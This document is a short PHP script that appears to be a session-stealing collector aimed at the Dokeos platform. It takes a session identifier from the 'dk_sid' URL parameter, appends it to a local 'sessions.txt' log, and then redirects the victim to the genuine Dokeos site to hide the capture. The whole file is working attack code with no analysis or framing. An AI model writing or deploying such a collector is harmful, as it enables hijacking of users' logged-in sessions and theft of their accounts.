<?php
$session_id = $_GET['dk_sid'].PHP_EOL;
$file = 'sessions.txt';
file_put_contents($file, $session_id, FILE_APPEND | LOCK_EX);
echo $session_id;
//$fp = fopen('sessions.txt', 'w');
//fwrite($fp, $session_id);
//fclose($fp);
header('location: https://www.dokeos.com/dokeos/');
?>
